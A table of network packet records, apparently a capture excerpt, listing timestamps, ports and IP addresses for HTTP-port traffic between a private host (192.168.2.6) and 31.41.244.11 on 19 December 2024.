Dec 19, 2024 08:09:30.311716080 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.311777115 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.311821938 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.316112995 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.316164970 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.316246033 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.316307068 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.320566893 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.320651054 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.320676088 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.320713997 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.325042963 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.325086117 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.325115919 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.325151920 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.329641104 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.329754114 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.329786062 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.329823971 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.333894968 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.334146976 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.334197044 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.334245920 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.338329077 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.338385105 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.338434935 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.338479996 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.341831923 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.341932058 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.341985941 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.345331907 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.345443964 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.345501900 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.345544100 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.348880053 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.348997116 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.349045038 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.352341890 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.352451086 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.352500916 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.355860949 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.355937958 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.355972052 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.356014967 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.359401941 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.359447956 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.359504938 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.362850904 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.362960100 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.363020897 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.366322041 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.366380930 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.469638109 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.469719887 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.469779015 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.469840050 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.471009970 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.471065044 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.471535921 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.471582890 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.471673965 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.471730947 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.474347115 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.474399090 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.474477053 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.474562883 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.476485014 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.476536989 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.476574898 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.476613998 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.479299068 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.479348898 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.479357958 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.479403019 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.482089043 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.482141972 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.482261896 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.482494116 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.484695911 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.484745979 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.484756947 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.484801054 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.487315893 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.487416029 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.487457037 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.487492085 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.489869118 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.489939928 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.489993095 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.492333889 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.492422104 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.492446899 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.492595911 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.495088100 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.495145082 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.495152950 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.495198011 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.497406960 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.497461081 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.497531891 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.497589111 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.499862909 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.499918938 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.499973059 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.500020027 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.502356052 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.502405882 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.502466917 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.502517939 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.504856110 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.504909039 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.505033970 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.505084991 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.507355928 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.507402897 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.507472992 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.507522106 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.509860039 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.509910107 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.509943008 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.509999037 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.512414932 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.512448072 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.512476921 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.512495995 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.514894009 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.514936924 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.515011072 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.515053988 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.517359972 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.517461061 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.517472029 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.517510891 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.519906998 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.519958973 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.520036936 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.520097971 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.522365093 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.522407055 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.522459984 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.522583008 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.524867058 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.524919987 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.524976015 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.525019884 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.527375937 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.527451992 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.527549028 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.527595043 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.529906034 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.529954910 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.529994011 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.530042887 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.532398939 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.532449007 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.532505035 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.532550097 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.534873009 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.534928083 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.535038948 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.535087109 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.537415028 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.537466049 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.537528992 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.537570953 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.539921999 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.540035963 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.540091991 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.542399883 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.542505980 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.542522907 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.542552948 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.544918060 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.544951916 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.544984102 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.545013905 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.547420025 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.547480106 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.547507048 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.547632933 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.549947977 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.550010920 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.550024986 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.550107002 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.552428961 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.552479982 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.552557945 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.552598953 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.554909945 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.554959059 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.555016994 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.555068016 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.557414055 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.557473898 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.557529926 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.557575941 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.559912920 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.559963942 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.560038090 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.560084105 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.562412977 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.562494993 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.562517881 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.562565088 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.661780119 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.661860943 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.661864996 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.661905050 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.662767887 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.662827015 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.662883043 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.662934065 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.664839983 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.664896011 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.664937973 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.665069103 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.666951895 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.667033911 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.667084932 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.668968916 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.669049025 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.669092894 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.669143915 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.670928955 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.670988083 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.671025038 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.671072006 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.672903061 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.672936916 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.672957897 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.672982931 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.674854994 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.674921989 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.674952030 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.674994946 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.676810026 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.676843882 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.676865101 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.676877975 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.678709030 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.678756952 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.678785086 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.678855896 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.680516958 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.680574894 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.680627108 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.680672884 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.682374954 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.682446957 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.682481050 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.682529926 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.684207916 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.684257030 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.684297085 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.684336901 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.686036110 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.686134100 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.686148882 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.686178923 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.687807083 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.687916994 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.687987089 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.689584017 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.689640045 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.689675093 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.689722061 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.691473007 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.691530943 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.691589117 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.693154097 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.693202019 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.693269014 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.693312883 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.694921970 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.695084095 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.695148945 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.696718931 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.696830988 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.696881056 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.696896076 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.698491096 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.698534966 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.698565960 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.698606014 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.700246096 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.700299978 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.700371027 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.700418949 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.702073097 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.702120066 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.702227116 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.702383995 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.703859091 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.703974009 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.704005003 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.704041958 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.705679893 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.705750942 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.705805063 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.705846071 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.707458019 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.707566977 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.707632065 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.709233046 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.709283113 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.709429979 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.709513903 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.711002111 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.711066961 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.711236000 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.711354971 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.712800980 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.712913036 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.712944984 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.712992907 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.714586020 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.714632988 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.714663029 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.714704037 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.716341972 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.716445923 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.716520071 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.718274117 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.718331099 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.718359947 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.718401909 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.719871998 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.720011950 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.720068932 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.721677065 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.721735954 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.721864939 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.721913099 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.723476887 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.723594904 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.723653078 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.725236893 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.725296021 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:30.725347042 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:30.725394964 CET	49858	80	192.168.2.6	31.41.244.11
